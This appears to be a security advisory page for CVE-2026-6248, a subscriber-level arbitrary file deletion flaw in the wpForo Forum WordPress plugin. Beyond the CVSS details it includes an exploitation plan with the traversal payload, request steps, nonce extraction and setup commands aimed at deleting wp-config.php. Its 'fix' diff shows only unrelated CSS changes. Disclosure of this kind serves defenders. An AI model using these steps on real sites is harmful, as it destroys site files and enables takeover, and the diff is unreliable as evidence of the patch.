CVE-2026-6248

wpForo Forum <= 3.0.5 - Authenticated (Subscriber+) Arbitrary File Deletion via Custom Profile Field File Path

highImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
8.1
CVSS Score
8.1
CVSS Score
high
Severity
3.0.6
Patched in
1d
Time to patch

Description

The wpForo Forum plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to and including 3.0.5. This is due to two compounding flaws: the Members::update() method does not validate or restrict the value of file-type custom profile fields, allowing authenticated users to store an arbitrary path instead of a legitimate upload path; and the wpforo_fix_upload_dir() sanitization function in ucf_file_delete() only remaps paths that match the expected pattern, and it is passed directly to the unlink() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). Note: The vulnerability requires a file custom field, which requires the wpForo - User Custom Fields addon plugin.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.0.5
PublishedApril 20, 2026
Last updatedApril 20, 2026
Affected pluginwpforo

What Changed in the Fix

Changes introduced in v3.0.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-6248**, an authenticated arbitrary file deletion vulnerability in the **wpForo Forum** plugin. The vulnerability stems from a path traversal flaw when handling custom profile fields, combined with a failure to sanitize the file path before passing i…

Show full research plan

This exploitation research plan targets CVE-2026-6248, an authenticated arbitrary file deletion vulnerability in the wpForo Forum plugin. The vulnerability stems from a path traversal flaw when handling custom profile fields, combined with a failure to sanitize the file path before passing it to unlink().


1. Vulnerability Summary

  • Vulnerability: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') leading to Arbitrary File Deletion.
  • Location: Members::update() (storage logic) and Actions::ucf_file_delete() (deletion logic).
  • Condition: Requires the wpForo - User Custom Fields addon to be active, as it enables the file-type custom profile fields used in the exploit.
  • Root Cause:
    1. Members::update() allows saving arbitrary strings into custom fields of type "file" without path validation.
    2. Actions::ucf_file_delete() retrieves this string from the database.
    3. The path is passed to wpforo_fix_upload_dir(), which only sanitizes the path if it matches a specific expected upload pattern. If it doesn't match (e.g., uses traversal), the malicious path survives and is passed directly to unlink().

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (for AJAX triggers) or the main forum page with wpfaction query parameters.
  • Action 1 (Injection): wpfaction=profile_update
  • Action 2 (Trigger): wpfaction=ucf_file_delete
  • Authentication: Subscriber-level user (or any authenticated user with a profile).
  • Precondition: A custom "File" field must be defined in the wpForo User Custom Fields settings.

3. Code Flow

  1. Entry Point (Injection): User sends a POST request with wpfaction=profile_update.
  2. Logic (Injection): Actions::do_actions() (in classes/Actions.php) calls do_action('wpforo_action_profile_update'), which executes Actions::profile_update().
  3. Storage: Actions::profile_update() calls Members::update(). Members::update() fails to validate that the input for "file" type fields is a legitimate relative upload path, saving ../../../../wp-config.php into the wp_wpforo_profiles table or user meta.
  4. Entry Point (Deletion): User sends a request with wpfaction=ucf_file_delete&field=FIELD_NAME.
  5. Logic (Deletion): Actions::do_actions() calls do_action('wpforo_action_ucf_file_delete'), executing Actions::ucf_file_delete().
  6. Path Retrieval: ucf_file_delete() retrieves the malicious string from the database based on the field parameter and the current user's ID.
  7. Sanitization Bypass: The path is passed to wpforo_fix_upload_dir(). Because the path starts with ../ and doesn't match the expected wpForo upload structure, the remapping logic is skipped.
  8. Sink: The raw traversal path is passed to unlink(), deleting the target file (e.g., wp-config.php).

4. Nonce Acquisition Strategy

wpForo uses a nonce for profile updates and forum actions, typically localized in the wpforo or wpforo_ajax JavaScript objects.

  1. Identify Shortcode: The standard wpForo shortcode is [wpforo].
  2. Setup Page: Use WP-CLI to create a page containing the forum:
    wp post create --post_type=page --post_title="Forum" --post_status=publish --post_content='[wpforo]'
    
  3. Navigate and Extract:
    • Log in as a Subscriber.
    • Navigate to the newly created "Forum" page.
    • Use browser_eval to extract the nonce:
      // Check standard wpforo object
      window.wpforo?.nonce || window.wpf_ajax?.nonce
      
    • Verification: Actions.php refers to wpf_nonce and _wpnonce in various contexts. In the ucf_file_delete and profile_update actions, wpForo usually expects the nonce in the _wpnonce or wpf_nonce parameter.

5. Exploitation Strategy

Step 1: Identify Custom Field Key

The custom field key is required (e.g., field_123). This can be found by inspecting the profile edit form or via WP-CLI:

wp db query "SELECT * FROM wp_wpforo_fields WHERE type='file'"

Step 2: Inject Malicious Path (Profile Update)

Request:

  • Method: POST
  • URL: http://localhost:8080/index.php?wpfaction=profile_update
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    _wpnonce=[NONCE]&member[FIELD_KEY]=../../../../wp-config.php&member[user_nicename]=victim
    
    (Note: Replace FIELD_KEY with the actual field key, e.g., ucf_file_1)

Step 3: Trigger File Deletion

Request:

  • Method: GET (or POST)
  • URL: http://localhost:8080/index.php?wpfaction=ucf_file_delete&field=[FIELD_KEY]&_wpnonce=[NONCE]
  • (Note: The plugin retrieves the current user's ID automatically in ucf_file_delete)

6. Test Data Setup

  1. Install wpForo: Ensure wpForo <= 3.0.5 is installed.
  2. Simulate Addon: The User Custom Fields addon is required. For the PoC, manually insert a "file" type field into the wpForo fields table:
    wp db query "INSERT INTO wp_wpforo_fields (fieldid, name, title, type, is_editable) VALUES (999, 'traversal_field', 'Exploit Field', 'file', 1)"
    
  3. Create User: Create a Subscriber user.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    

7. Expected Results

  • The profile_update request should return a redirect or a success message.
  • The ucf_file_delete request should return a success message or redirect.
  • The file wp-config.php at the site root should be deleted from the filesystem.

8. Verification Steps

  1. Check Meta/DB: Confirm the malicious string was saved:
    wp db query "SELECT * FROM wp_wpforo_profiles WHERE userid=[USER_ID]"
    
  2. Verify Deletion: Check if wp-config.php exists:
    ls /var/www/html/wp-config.php
    
    (A successful exploit will result in "No such file or directory").

9. Alternative Approaches

  • Direct Meta Injection: If profile_update is restricted, check if other user update hooks are vulnerable.
  • Path Depth: If the default upload directory depth varies, increase the number of ../ sequences (e.g., ../../../../../../wp-config.php).
  • Targeting Other Files: If wp-config.php is protected by file permissions, attempt to delete .htaccess or files in wp-content/plugins/ to cause a Denial of Service or trigger plugin deactivation.
Research Findings
Static analysis — not yet PoC-verified

Summary

The wpForo Forum plugin is vulnerable to arbitrary file deletion because it fails to validate file paths in custom profile fields and doesn't properly sanitize those paths before calling unlink(). Authenticated attackers with subscriber-level access can exploit this to delete sensitive files like wp-config.php, potentially leading to remote code execution.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wpforo/3.0.5/admin/assets/css/ai-features.css /home/deploy/wp-safety.org/data/plugin-versions/wpforo/3.0.6/admin/assets/css/ai-features.css
--- /home/deploy/wp-safety.org/data/plugin-versions/wpforo/3.0.5/admin/assets/css/ai-features.css	2026-04-13 13:06:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wpforo/3.0.6/admin/assets/css/ai-features.css	2026-04-19 10:24:32.000000000 +0000
@@ -2578,9 +2578,39 @@
 	flex: 1;
 }
 
-/* Form Actions */
+/* Form Actions - Two Column Layout (Clear | Index) */
 .wpforo-ai-ingest-column .form-actions {
 	margin-top: 20px;
+	display: flex !important;
+	flex-wrap: wrap;
+	gap: 10px;
+	justify-content: space-between !important;
+}
+
+/* Clear Forum Button - Red Destructive Styling */
+.wpforo-ai-ingest-column .form-actions button.button.wpforo-ai-clear-forum-btn,
+.wpforo-ai-ingest-column .form-actions .button.wpforo-ai-clear-forum-btn,
+button.button.wpforo-ai-clear-forum-btn {
+	background: #fff !important;
+	background-color: #fff !important;
+	border-color: #d63638 !important;
+	color: #d63638 !important;
+}
+
+.wpforo-ai-ingest-column .form-actions button.button.wpforo-ai-clear-forum-btn:hover,
+.wpforo-ai-ingest-column .form-actions button.button.wpforo-ai-clear-forum-btn:focus,
+.wpforo-ai-ingest-column .form-actions .button.wpforo-ai-clear-forum-btn:hover,
+.wpforo-ai-ingest-column .form-actions .button.wpforo-ai-clear-forum-btn:focus,
+button.button.wpforo-ai-clear-forum-btn:hover,
+button.button.wpforo-ai-clear-forum-btn:focus {
+	background: #fcf0f1 !important;
+	background-color: #fcf0f1 !important;
+	border-color: #d63638 !important;
+	color: #d63638 !important;
+}
+
+.wpforo-ai-clear-forum-btn .dashicons {
+	color: inherit !important;
 }
 
 .wpforo-ai-ingest-column .form-row {
@@ -2619,6 +2649,10 @@
 	font-size: 14px;
 }
 
+.wpforo-ai-forum-ingest-form .form-actions .button-large{
+	width: 49%;
+}
+
 /* Responsive */
 @media screen and (max-width: 1200px) {
 	.wpforo-ai-ingest-grid {
... (truncated)

Exploit Outline

1. Authenticate as a Subscriber-level user (or any role with profile editing access). 2. Identify a custom 'File' type field in the wpForo profile settings (this requires the 'wpForo - User Custom Fields' addon to be active). 3. Inject a malicious path by sending a POST request to the 'profile_update' action (e.g., `?wpfaction=profile_update`). The payload should contain a path traversal string like `../../../../wp-config.php` in the custom field parameter. 4. Extract a valid nonce from the forum page, usually found in the `wpforo.nonce` or `wpf_ajax.nonce` JavaScript objects. 5. Trigger the file deletion by sending a request to the `ucf_file_delete` action (e.g., `?wpfaction=ucf_file_delete&field=FIELD_KEY&_wpnonce=NONCE`). 6. The plugin will retrieve the stored traversal string from the database and pass it directly to the PHP unlink() function via the ucf_file_delete() method, bypassing insufficient sanitization in wpforo_fix_upload_dir().

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.